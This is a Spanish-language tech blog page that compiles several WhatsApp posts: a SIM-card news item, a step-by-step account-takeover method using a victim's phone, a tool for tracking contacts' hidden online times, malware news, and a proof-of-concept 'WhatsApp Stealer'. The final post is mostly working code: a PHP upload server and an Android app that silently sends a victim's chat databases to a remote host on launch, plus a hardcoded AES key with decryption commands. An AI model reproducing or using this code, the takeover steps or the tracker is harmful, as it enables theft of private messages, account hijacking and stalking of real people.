Aplicaciones Moviles Gratis, Seguridad, Tecnologia, Android, Apple: #WhatsApp

ChatSim, la tarjeta SIM para usar WhatsApp

<div style="text-align: justify;">
Cada vez que salimos de viaje fuera de España nos da la sensación de retroceder en el tiempo y volver a los años en que los teléfonos móviles servían para llamar y enviar SMS, puesto que hacer uso de la itinerancia de datos supone un coste bastante alto todavía.</div>
<div style="text-align: justify;">
 </div>
<div class="c_publicidad c_roba estirar" id="cds_gpt-MPU1" style="text-align: justify;">

</div>
<div style="text-align: justify;">
Por lo tanto, es lo primero que desactivamos nada más poner pie en tierras extranjeras y así no llevarnos ningún susto al recibir la factura del móvil al mes siguiente.
 De esta forma, parece como si perdiésemos contacto con todo el mundo al
 no poder usar por ejemplo WhatsApp, por lo tanto, resulta casi 
inevitable que cada vez que encontremos un lugar con conexión WiFi abierta no dudemos en conectarnos para comprobar nuestros mensajes de WhatsApp y aprovechar para enviar otros tantos.</div>
<div style="text-align: justify;">
 </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPPxf6oosBWX03q7d7HzCPOmw73P3Pb1b4JopYDhKpN3fOk9KxWMRupziDGQRq2CD83HrFUn72MqnUZNjEl7JDva2LOnTurTspDct-8jDAU4BVJUPxNlmK2WbD3LhKphD-gMwn251SIH87/s1600/ChatSim.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="227" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPPxf6oosBWX03q7d7HzCPOmw73P3Pb1b4JopYDhKpN3fOk9KxWMRupziDGQRq2CD83HrFUn72MqnUZNjEl7JDva2LOnTurTspDct-8jDAU4BVJUPxNlmK2WbD3LhKphD-gMwn251SIH87/s400/ChatSim.jpg" width="400" /></a></div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
Pues bien, ahora acabamos de conocer gracias a nuestros compañeros de <a href="http://www.adslzone.net/2015/06/18/llega-a-espana-la-sim-que-permite-usar-whatsapp-en-todo-el-mundo-por-solo-10-euros/" target="_blank">AdslZone</a> la próxima llegada de ChatSim a España, la tarjeta SIM que por tan solo 10 euros al año nos permitirá hacer uso de todas las aplicaciones de mensajería instantánea en todo el mundo sin costes adicionales.</div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
ChatSim está a punto por lo tanto de llegar a los 
comercios de nuestro país, gracias al acuerdo que ha firmado Brightstar,
 un distribuidor que opera en España y que además llevará a la tarjeta 
SIM a nuestros países vecinos Francia y Portugal. La tarjeta se podrá comprar tanto en su tienda oficial en Internet como en tiendas físicas, pudiéndolas adquirir en el momento y sin costes adicionales de envío.</div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
Con ChatSim podremos enviar texto y emoticonos sin límite, pero lleva coste adicional si queremos enviar notas de voz y otro tipo de contenido multimedia, para lo cual podemos pagar unos bonos extra. Sin duda, la opción que ofrece esta SIM es una de las mejores opciones que podemos elegir cuando salimos de España
 y sobre todo si viajamos al extranjero con relativa frecuencia, eso sí,
 es conveniente saber sus limitaciones puesto que para usar todas las 
posibilidades de WhatsApp tal y como acabamos de comentar nos puede 
salir un poco más caro.</div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
De momento, la tarjeta no está diseñada para el servicio de llamadas y su modalidad de acceso a Internet por lo que podemos encontrar problemas si intentamos hacer uso de estos servicios a través de la tarjeta.</div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
Fuente: <a href="http://cincodias.com/cincodias/2015/06/18/lifestyle/1434629093_442411.html" target="_blank">Cincodias </a></div>
<div style="text-align: justify;">
 </div>

ChatSim, la tarjeta SIM para usar WhatsApp

Cada vez que salimos de viaje fuera de España nos da la sensación de retroceder en el tiempo y volver a los años en que los teléfonos móvi...

En 3 minutos puede ser hackeado su WhatsApp

<div style="text-align: justify;">
Se ha descubierto que el sistema de comunicación en línea WhatsApp, adquirida por Facebook, es susceptible a ser hackeado sin necesidad de conocer la contraseña del equipo, lo
 que significa que la información de millones de usuarios estaría en 
riesgo puesto que no requiere grandes conocimientos técnicos.</div>
<div style="text-align: justify;">
 </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYZvO_N29E2dCJRLjEIhxHkK1O4O071K2m0uNinr9_Wknn_8UiA_CQEKA23bWD7iujrUcTYvbVC7DVD2E5L7pR2frdfPAf3LnewuCBAxmxE7KqQSu3WQ51M7hZ1YJlgQjtOMqZz2B9lwer/s1600/WhatsApp.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="266" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYZvO_N29E2dCJRLjEIhxHkK1O4O071K2m0uNinr9_Wknn_8UiA_CQEKA23bWD7iujrUcTYvbVC7DVD2E5L7pR2frdfPAf3LnewuCBAxmxE7KqQSu3WQ51M7hZ1YJlgQjtOMqZz2B9lwer/s400/WhatsApp.jpg" width="400" /></a></div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
 Los pasos que le permitirá a cualquier persona ingresar a su cuenta de WhatsApp fueron publicados por The Hacker News, y son los siguientes:</div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
1. Tener acceso al teléfono de la persona a la que quiere robarle la cuenta.</div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
2. Otro teléfono con la aplicación WhatsApp recién descargada y sin activar.</div>
<div style="text-align: justify;">
 </div>
<div class="eplanning_video_inline" style="text-align: justify;">
 
 <div class="publicidad_not Inline">
 
 </div>
</div>
<div style="text-align: justify;">
3. La cuenta a plagiar debe 
tener activado el respaldo de chats en WhatsApp. Si esto no está activo
 solo podrá enviar mensajes desde el usuario de su víctima.</div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
4.
 Mientras el segundo teléfono que tiene recién instalado WhatsApp 
continúa con su proceso, cuando le pida el número a registrar introduzca
 el teléfono de la cuenta a hackear.</div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
5. Al 
tener acceso al teléfono de la víctima podrá consultar el mensaje con el
 PIN de activación que envía WhatsApp de inmediato, sin embargo debe 
tener activadas las notificaciones en la pantalla de bloqueo. En el caso
 en el que no estén activadas las notificaciones, esté bloqueado el 
teléfono a hackear y no se conozca está clave, cinco minutos después 
recibiría una llamada con el PIN.</div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
6. Tras obtener ese PIN es posible activar el WhatsApp de la víctima en el que era el segundo teléfono.</div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
Además
 de que otra persona tenga acceso a sus conversaciones, tendrá que 
esperar mínimo 25 minutos para poder reactivar la aplicación de 
mensajería. Para evitar esto recuerde que el respaldo de mensajes es una
 herramienta que se activa manualmente en la configuración del chat, así mismo no le preste su teléfono a nadie.</div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
Fuente: <a href="http://www.elespectador.com/tecnologia/tres-minutos-puede-ser-hackeado-su-whatsapp-articulo-565546" target="_blank">ElEspectador </a></div>

Se ha descubierto que el sistema de comunicación en línea WhatsApp, adquirida por Facebook, es susceptible a ser hackeado sin necesidad de...

WhatsApp Tracker: Rastrea tus contactos

<div style="text-align: justify;">
<a href="https://github.com/mgp25/WhatsApp-Tracker">WhatsApp Tracker</a>
 es una herramienta que permite rastrear los últimos tiempos en línea 
del usuario. Para usuarios que tengan activa la última hora en línea, no
 es que sea muy útil, pues cualquiera puede ver cuando fue la última 
vez se conectó. Pero esta herramienta te permitirá saber también cuando
 fue la última vez que se conecto un usuario que tenga 'la última vez 
en línea' invisible.</div>
<div style="text-align: justify;">
 </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoje24MPGUdc5X7QDDC79fXBe8FjYARUe9hJU5kwYpUQIt7PSRIWfTyyXHwZVBj_V424fAJ9Ku2eYde64R4YEgNlEEtSYE7jpi-Wc-w9XuZ5THJCh2ja6eFLR9v5S4zuTS2zOtM6eP9so/s1600/whatsapp-tracking.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoje24MPGUdc5X7QDDC79fXBe8FjYARUe9hJU5kwYpUQIt7PSRIWfTyyXHwZVBj_V424fAJ9Ku2eYde64R4YEgNlEEtSYE7jpi-Wc-w9XuZ5THJCh2ja6eFLR9v5S4zuTS2zOtM6eP9so/s1600/whatsapp-tracking.jpg" /></a></div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
Actualmente hay dos posibles formas para mostrar los tiempos en línea 
del usuario, o bien por pantalla o bien de forma remota. De forma 
remota, irá enviandote al número de teléfono que tú le asignes un log de
 la última vez en línea.</div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
Esta basado en <a href="https://github.com/venomous0x/WhatsAPI" rel="nofollow" target="_blank">WhatsAPI</a> un proyecto que esta llevando <a href="https://github.com/shirioko" rel="nofollow" target="_blank">Shirioko</a> y la comunidad.</div>
 
<h3 style="text-align: justify;">
¿Motivo de este script?</h3>
<div style="text-align: justify;">
Más que nada para demostrar que no existe privacidad y que se puede 
automatizar la monitorización de cualquier usuario... hay clientes más 
seguros que WhatsApp. 
</div>
<h3 style="text-align: justify;">
Comandos</h3>
<pre style="text-align: justify;">php watracker.php</pre>
<div style="text-align: justify;">

Una lista con los comandos que actualmente tiene el programa: 
</div>
<ul>
<li><pre style="text-align: justify;">check < numero ></pre>
<div style="text-align: justify;">
Muestra por pantalla la última hora en línea del usuario. (solo 
funciona con usuarios que tengan visible su última hora en línea).</div>
</li>
<li> <pre style="text-align: justify;">cRemote0 < tuNumero > < numero ></pre>
<div style="text-align: justify;">
Muestra por pantalla la última hora en línea del usuario y te mando un 
log al número que tu le asignes. (solo funciona con usuarios que tengan
 visible su última hora en línea).</div>
</li>
<li> <pre style="text-align: justify;">cHidden < numero ></pre>
</li>
<div style="text-align: justify;">
Muestra por pantalla la última hora en línea del usuario. (Funciona 
para todos los usuarios, enfocado para los que lo tienen en invisible).</div>
<li> <pre style="text-align: justify;">cRemote1 < tuNumero > < numero ></pre>
<div style="text-align: justify;">
Muestra por pantalla la última hora en línea del usuario y te manda un 
log al número que tu le asignes. (Funciona para todos los usuarios, 
enfocado para los que lo tienen en invisible).</div>
</li>
</ul>
 
<div style="text-align: justify;">
<a href="https://github.com/mgp25" rel="nofollow" target="_blank">Aquí</a> y <a href="https://github.com/shirioko" rel="nofollow" target="_blank">aquí</a> se pueden consultar otras herramientas relacionadas.</div>
 
Fuente: <a href="https://github.com/mgp25/WhatsApp-Tracker">WhatsApp-Tracker</a> Código 
Redaccion: segu-info 
<div style="clear: both;">
</div>

WhatsApp Tracker es una herramienta que permite rastrear los últimos tiempos en línea del usuario. Para usuarios que tengan activa la ...

Nuevo Malware para WhatsApp

<div style="text-align: justify;">
Los piratas informáticos utilizan habitualmente aplicaciones de 
software muy conocidas y utilizadas por los usuarios para llevar a cabo 
sus ataques informáticos. WhatsApp es el cliente de mensajería más 
utilizado actualmente por los usuarios, por lo tanto, los 
cibercriminales lo utilizan como gancho para llevar a cabo sus ataques 
engañando a los usuarios con este programa.</div>
<div style="text-align: justify;">
 </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghh9b8XRIDHx1-uC7POMvbpjo80UsgkcqkCALLIci0dVgq8WBP6Am6BB4RCPpnldKOUbsHJ9X4OEk8x2dpv4PnJgMtTd5olZArwYGudXCY_ycQ6FvI-i05Yx20GYeS4QWeGKGRRzioplc/s1600/whatsapp_contestador_automatico_foto.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="216" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghh9b8XRIDHx1-uC7POMvbpjo80UsgkcqkCALLIci0dVgq8WBP6Am6BB4RCPpnldKOUbsHJ9X4OEk8x2dpv4PnJgMtTd5olZArwYGudXCY_ycQ6FvI-i05Yx20GYeS4QWeGKGRRzioplc/s1600/whatsapp_contestador_automatico_foto.jpg" width="400" /></a></div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
 </div>
 
<div style="text-align: justify;">
En los últimos días ha aparecido por la red un nuevo virus que 
utiliza WhatsApp como gancho, concretamente se hace pasar por un mensaje
 almacenado en el buzón del contestador automático del cliente de 
mensajería (que en realidad no existe) para que el usuario descargue e 
instale un archivo malicioso que dota a los piratas informáticos de 
acceso al dispositivo de la víctima y toma el control del mismo.</div>
<div style="text-align: justify;">
 </div>
 
<div style="text-align: justify;">
Este mensaje llega a través de un correo electrónico malicioso con un
 supuesto enlace al mensaje. Al pulsar sobre dicho enlace se redirige al
 usuario a una nueva página que descargará un malware (oculto bajo el 
nombre de Browser 6.5) y, al estar esperando la víctima para escuchar 
dicho mensaje, incitará a ejecutar el malware ya descargado. Una vez que
 el malware está ya instalado en el dispositivo envía una serie de SMS Premium que pueden llegar a suponer un enorme gasto para los usuarios.</div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
Esta nueva estafa de WhatsApp está orientada principalmente a los usuarios de Android, ya que estos son los más vulnerables, sin embargo, se han detectado también casos de infección en dispositivos iOS con Jailbreak.</div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
Aunque el uso de WhatsApp como gancho para infectar dispositivos es 
bastante habitual, es la primera vez que se combina el cliente de 
mensajería instantánea con un correo electrónico malicioso, lo que 
demuestra cómo los piratas informáticos están constantemente buscando 
nuevas formas de lograr engañar a los usuarios. La mejor forma de evitar
 posibles estafas e infecciones es no hacer caso a los correos 
electrónicos fraudulentos y comprobar la veracidad de la información en 
línea antes de hacer caso sobre un posible contestador automático del 
cual no se hace ninguna referencia en la web principal de WhatsApp.</div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
¿Te has encontrado con posibles estafas utilizando el cliente de mensajería más utilizado mundialmente como cebo?</div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">

</div>
Fuente: <a href="http://www.tecnoxplora.com/apps/virus-hace-pasar-contestador-automatico-whatsapp_2014090800651.html" target="_blank">Tecnoxplora</a>

Los piratas informáticos utilizan habitualmente aplicaciones de software muy conocidas y utilizadas por los usuarios para llevar a cabo s...

Creador de malware de whatsapp PC es arrestado

<div style="text-align: justify;">
Prometía espiar los mensajes de móviles
 enviados a través de la popular aplicación, pero lo que hacía en 
realidad es infectar ordenadores de forma masiva y robar las contraseñas
 de las víctimas en redes sociales</div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
Guardia Civil ha detenido
 en Torrelavega (Cantabria) al creador del malware WhatsApp PC, que 
prometía espiar los mensajes de móviles enviados a través de la popular 
aplicación, pero que lograba infectar ordenadores de forma masiva y 
robar las contraseñas de las víctimas en redes sociales.</div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
Según informa la Dirección General de la Guardia Civil, el detenido 
había creado un archivo informático bautizado con los nombres "Win WhatsApp", "WhatsApp PC" y "WhatsApp Espía"
 con los que supuestamente la persona que se lo instalase en su 
ordenador podría acceder, según anunciaba su propio creador, al whatsapp
 de su novio y de sus amigos.</div>
<div style="text-align: justify;">
 </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwmZOCWhBLbQFMZ_D2VYIwC9InzwbFmzm0Di19nu5GgM7hwec4xTDNQKIzuO7cFFZY4PsmFbPcJ-QTKuapgXNy7UvwY6E5r4qYZ04uaU0SUFZ8_eMfJaO4teQgIHmVce3f4a4f33QEtpA/s1600/whatsapp-espia.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="285" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwmZOCWhBLbQFMZ_D2VYIwC9InzwbFmzm0Di19nu5GgM7hwec4xTDNQKIzuO7cFFZY4PsmFbPcJ-QTKuapgXNy7UvwY6E5r4qYZ04uaU0SUFZ8_eMfJaO4teQgIHmVce3f4a4f33QEtpA/s1600/whatsapp-espia.jpg" width="400" /></a></div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
Pero lejos de esta promesa, y una vez instalada la aplicación, el 
detenido recibía automáticamente las claves de acceso de los perfiles en
 redes sociales de las víctimas.</div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
Con las contraseñas en su poder conseguía un "efecto en cadena" al 
seguir publicitando su "milagroso" programa entre los contactos de los 
que ya habían sido infectados, la mayoría al picar el anzuelo del 
detenido, que había creado incluso páginas web que simulaban ser la 
oficial de la empresa estadounidense de mensajería instantánea.</div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
De esta forma, despertaba la curiosidad de millones de usuarios e 
impulsaba la descarga indiscriminada y la propagación de su creación de 
forma masiva.</div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
Fruto de las investigaciones los agentes especializados en delitos 
informáticos de la Unidad Central Operativa de la Guardia Civil 
localizaron al creador del malware en un domicilio de Torrelavega 
(Cantabria), donde el detenido poseía un propio servidor en el que 
almacenaba toda la información robaba.</div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
En total contenía más de sesenta bases de datos con información de miles
 de usuarios españoles, así como un archivo de órdenes automatizadas 
para enviar el malware.</div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
También los agentes localizaron varias páginas web donde se seguían alojando paquetes con la aplicación listos para su descarga.</div>
<div style="text-align: justify;">
 </div>
<div style="text-align: justify;">
Fuente: <a href="http://www.noticiasdot.com/wp2/2014/09/06/arrestado-el-creador-del-virus-whatsapp-pc/">NoticiasDOT</a></div>

Prometía espiar los mensajes de móviles enviados a través de la popular aplicación, pero lo que hacía en realidad es infectar ordenadore...

Aplicación Android para robar y leer chats de WhatsApp en Android (PoC)

¿Es
 posible subir y leer los chats de Whatsapp de un smartphone desde otra 
aplicación de Android? Por supuesto que sí. Sólo necesitamos que la 
aplicación maliciosa haya sido instalada aceptando los permisos para 
leer la tarjeta SD del dispositivo 
(android.permission.READ_EXTERNAL_STORAGE). 
 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdpyPu-BRQjrR-PJc0N3y1EZA1S0xVMnLKS9jneTPr0O_MypnsWOZbe9ZCvI9TlUeNcBFtv547xU7i5UerYCR2tsnQmSNs8MUl5ZaMGXSViOeJ3vxl4p4KaGbKFuLBIQsZQWwn-HhSTzAK/s1600/whatsapp-hack-valunerbility-app.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="251" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdpyPu-BRQjrR-PJc0N3y1EZA1S0xVMnLKS9jneTPr0O_MypnsWOZbe9ZCvI9TlUeNcBFtv547xU7i5UerYCR2tsnQmSNs8MUl5ZaMGXSViOeJ3vxl4p4KaGbKFuLBIQsZQWwn-HhSTzAK/s1600/whatsapp-hack-valunerbility-app.jpg" width="400" /></a></div>
 Hace unos meses se publicó en algunos foros una guía paso a paso para montar nuestro propio Whatsapp Stealer y ahora <a href="http://bas.bosschert.nl/steal-whatsapp-database/" target="_blank">Bas Bosschert ha publicado una PoC</a> con unas pocas modificaciones. Para empezar con la prueba de concepto (y ojo que digo PoC que nos conocemos ;)) tenemos que publicar en nuestro webserver un php para subir las bases de datos de Whatsapp:
 
<pre class="prettyprint prettyprinted" style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code><?php
// Upload script to upload Whatsapp database
// This script is for testing purposes only.
 
$uploaddir = "/tmp/whatsapp/";
 
if ($_FILES["file"]["error"] > 0)
  {
  echo "Error: " . $_FILES["file"]["error"] . " ";
  }
else
  {
  echo "Upload: " . $_FILES["file"]["name"] . " ";
  echo "Type: " . $_FILES["file"]["type"] . " ";
  echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB ";
  echo "Stored in: " . $_FILES["file"]["tmp_name"];
 
  $uploadfile = $uploaddir . $_SERVER['REMOTE_ADDR'] . "." . basename($_FILES['file']['name']);
  move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile);
  }
?>
 
<html><head><title>Shoo.. nothing here</title></head><body><form method="post" enctype="multipart/form-data"><input type="file" name="file" id="file"><input type="submit" value="Submit"></form></body></html></code></pre>


 Después debemos configurar nuestro php.ini para subir ficheros grandes: 
<pre class="prettyprint prettyprinted" style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>...
file_uploads = On
post_max_size = 32M
upload_max_filesize = 32M</code></pre>

<a href="https://www.blogger.com/null" name="more"></a>
 Lo siguiente que necesitamos es crear la aplicación de Android que 
suba los ficheros de la base de datos de WhatsApp hacia el servidor web.
 Para ello creamos un proyecto en Eclipse y empezamos modificando el 
fichero AndroidManifest.xml para solicitar los permisos para leer la tarjeta SD e Internet: 
<pre class="prettyprint prettyprinted" style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code><?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="bb.security.whatsappupload"
    android:versionCode="1"
    android:versionName="1.0" >
 
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.INTERNET" />
 
    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="19" />
 
    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
 
        <activity
            android:name="bb.security.whatsappupload.MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
 
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
 
</manifest></code></pre>


 Para la disposición podemos utilizar el diseño predeterminado que 
crea Eclipse, si acaso podemos mover el TextView al centro y aumentar el
 tamaño del texto. La subida del fichero ocurre antes de ver el layout, 
para esta prueba de concepto de este activity_main.xml es lo suficientemente bueno: 
<pre class="prettyprint prettyprinted" style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code><RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:paddingBottom="@dimen/activity_vertical_margin"
    android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    tools:context=".MainActivity" >
 
    <TextView
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_alignParentTop="true"
        android:layout_centerHorizontal="true"
        android:layout_marginTop="179dp"
        android:text="@string/hello_world"
        android:textSize="24sp" />
 
</RelativeLayout></code></pre>


 A continuación tenemos que crear la función MainActivity.java para subir cada uno de los ficheros:     - /WhatsApp/Databases/msgstore.db     - /WhatsApp/Databases/wa.db     - /WhatsApp/Databases/msgstore.db.crypt 
<pre class="prettyprint prettyprinted" style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; height: 400px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>package bb.security.whatsappupload;
 
/*
* This application is for testing purposes only.
* Use of this application is at your own risk.
*/
 
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
 
import android.os.AsyncTask;
import android.os.Bundle;
import android.os.Environment;
import android.app.Activity;
import android.app.ProgressDialog;
import android.util.Log;
import android.view.Menu;
 
public class MainActivity extends Activity {
 
    //A ProgressDialog object
    private ProgressDialog progressDialog;
 
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        new UploadWhatsApp().execute();
    }
 
    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        // Inflate the menu; this adds items to the action bar if it is present.
        getMenuInflater().inflate(R.menu.main, menu);
        return true;
    }
 
    @SuppressWarnings("deprecation")
    private void uploadFile(String file) {
        HttpURLConnection conn = null;
        DataOutputStream dos = null;
        DataInputStream inStream = null;
 
        Log.i("FILE", "Filename:\n" + file);
 
        String lineEnd = "\r\n";
        String twoHyphens = "--";
        String boundary = "*****";
        int bytesRead, bytesAvailable, bufferSize;
        byte[] buffer;
        int maxBufferSize = 1 * 1024 * 1024 * 1024;
        String urlString = "http://bas.bosschert.nl/whatsapp/upload_wa.php";
        try {
            //     ------------------ CLIENT REQUEST
            FileInputStream fileInputStream = new FileInputStream(new File(
                    file));
            // open a URL connection to the Servlet
            URL url = new URL(urlString);
            // Open a HTTP connection to the URL
            conn = (HttpURLConnection) url.openConnection();
            // Allow Inputs
            conn.setDoInput(true);
            // Allow Outputs
            conn.setDoOutput(true);
            // Don't use a cached copy.
            conn.setUseCaches(false);
            // Use a post method.
            conn.setRequestMethod("POST");
            conn.setRequestProperty("Connection", "Keep-Alive");
            conn.setRequestProperty("Content-Type",
                    "multipart/form-data;boundary=" + boundary);
            dos = new DataOutputStream(conn.getOutputStream());
            dos.writeBytes(twoHyphens + boundary + lineEnd);
            dos.writeBytes("Content-Disposition: form-data; name=\"file\";filename=\""
                    + file + "\"" + lineEnd);
            dos.writeBytes(lineEnd);
            // create a buffer of maximum size
            bytesAvailable = fileInputStream.available();
            bufferSize = Math.min(bytesAvailable, maxBufferSize);
            buffer = new byte[bufferSize];
            // read file and write it into form...
            bytesRead = fileInputStream.read(buffer, 0, bufferSize);
            while (bytesRead > 0) {
                dos.write(buffer, 0, bufferSize);
                bytesAvailable = fileInputStream.available();
                bufferSize = Math.min(bytesAvailable, maxBufferSize);
                bytesRead = fileInputStream.read(buffer, 0, bufferSize);
            }
            // send multipart form data necesssary after file data...
            dos.writeBytes(lineEnd);
            dos.writeBytes(twoHyphens + boundary + twoHyphens + lineEnd);
            // close streams
            Log.e("Debug", "File is written");
            fileInputStream.close();
            dos.flush();
            dos.close();
        } catch (MalformedURLException ex) {
            Log.e("Debug", "error: " + ex.getMessage(), ex);
        } catch (IOException ioe) {
            Log.e("Debug", "error: " + ioe.getMessage(), ioe);
        }
        // ------------------ read the SERVER RESPONSE
        try {
            if (conn != null){
                inStream = new DataInputStream(conn.getInputStream());
                String str;
 
                while ((str = inStream.readLine()) != null) {
                    Log.e("Debug", "Server Response " + str);
                }
                inStream.close();
            }
 
        } catch (IOException ioex) {
            Log.e("Debug", "error: " + ioex.getMessage(), ioex);
        }
    }
 
    private class UploadWhatsApp extends AsyncTask<Void, Integer, Void>{
 
        @Override
        protected void onPreExecute()
        {
            //Create a new progress dialog
            progressDialog = ProgressDialog.show(MainActivity.this,"Loading Application, please wait...",
                    "Loading, please wait...", false, false);
        }
 
        //The code to be executed in a background thread.
        @Override
        protected Void doInBackground(Void... params)
        {
 
            String fileWACrypt = Environment.getExternalStorageDirectory()
                    .getPath() + "/WhatsApp/Databases/msgstore.db.crypt";
            String fileWAPlain = Environment.getExternalStorageDirectory()
                    .getPath() + "/WhatsApp/Databases/msgstore.db";
            String fileWAwa = Environment.getExternalStorageDirectory()
                    .getPath() + "/WhatsApp/Databases/wa.db";
 
            MainActivity.this.uploadFile(fileWACrypt);
            MainActivity.this.uploadFile(fileWAPlain);
            MainActivity.this.uploadFile(fileWAwa);
            return null;
        }
 
        //Update the progress
        @Override
        protected void onProgressUpdate(Integer... values)
        {
            //set the current progress of the progress dialog
            progressDialog.setProgress(values[0]);
        }
 
        //after executing the code in the thread
        @Override
        protected void onPostExecute(Void result)
        {
            //close the progress dialog
            progressDialog.dismiss();
            //initialize the View
            setContentView(R.layout.activity_main);
        }
 
    }
}</code></pre>


    msgstore.db y wa.db son bases de datos sin cifrar utilizados en 
antiguas versiones de Whatsapp. Msgstore.db.crypt está cifrado con AES, 
pero siempre usando la misma clave tanto para cifrar como descifrar: 
346a23652a46392b4d73257c67317e352e3372482177652c. Por lo tanto podremos descifrarla una vez obtenido mediante: openssl enc -d -aes-192-ecb -in msgstore.db.crypt -out msgstore.db.sqlite -K 346a23652a46392b4d73257c67317e352e3372482177652c o mediante el siguiente script en Python: 
<pre class="prettyprint prettyprinted" style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>#!/usr/bin/env python
 
import sys
from Crypto.Cipher import AES
 
try:
    wafile=sys.argv[1]
except:
    print "Usage: %s <msgstore.db.crypt>" % __file__
    sys.exit(1)
 
key = "346a23652a46392b4d73257c67317e352e3372482177652c".decode('hex')
cipher = AES.new(key,1)
open('msgstore.db',"wb").write(cipher.decrypt(open(wafile,"rb").read()))</code></pre>



  
Y ya está, así de sencillo. Podremos estar leyendo los chats de WhatsApp de las bases de datos extraídas... 
 
